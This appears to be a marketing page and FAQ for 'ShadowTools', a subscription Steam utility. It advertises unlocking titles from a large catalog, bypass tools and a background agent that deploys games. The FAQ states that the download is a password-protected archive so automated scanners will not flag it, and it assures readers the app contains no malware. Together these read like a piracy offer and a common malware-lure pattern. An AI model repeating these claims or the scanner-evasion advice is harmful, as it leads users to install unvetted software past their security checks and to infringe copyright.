The complete Steam toolkit in one clean desktop app — fix crash errors, unlock titles, add games from a 100k+ catalog, and keep every PC in sync automatically.
SHADOW
Repairs Steam installation issues and crash errors with one click — automatically restarts Steam when done.
Add games from a 100k+ CloudDB catalog and unlock titles straight into your library.
Sign in once, and your library syncs to every PC — a background agent deploys new games automatically.
Built-in fixes database and bypass tools for games that won't launch.
Choose a plan that works for you. Cancel anytime.
≈ $2 USD · billed monthly
≈ $4 USD · save 39%
Yes. ShadowTools runs locally on your machine and only interacts with your Steam installation. It does not contain any malware, keyloggers, or hidden scripts. The source is protected with industry-grade compilation to prevent tampering.
The password is SHADOW. It protects the file from being flagged by automated scanners. Enter it when extracting with 7-Zip or WinRAR.
Steam Fixer patches common Steam client issues — corrupted files, connection errors, and crash loops. It downloads OpenSteamTool, applies the fix, and restarts Steam automatically.
Sign in with your Discord account and your game library is stored in the cloud. When you switch PCs, log in again and ShadowTools automatically redeploys all your games. A background auto-sync keeps files intact.
Yes. ShadowTools requires a working Steam installation on Windows 10 or 11. It modifies and manages your local Steam files.
Yes! You get a 10-minute free trial when you first launch the app — no key required. This gives you full access to test all features before purchasing a license.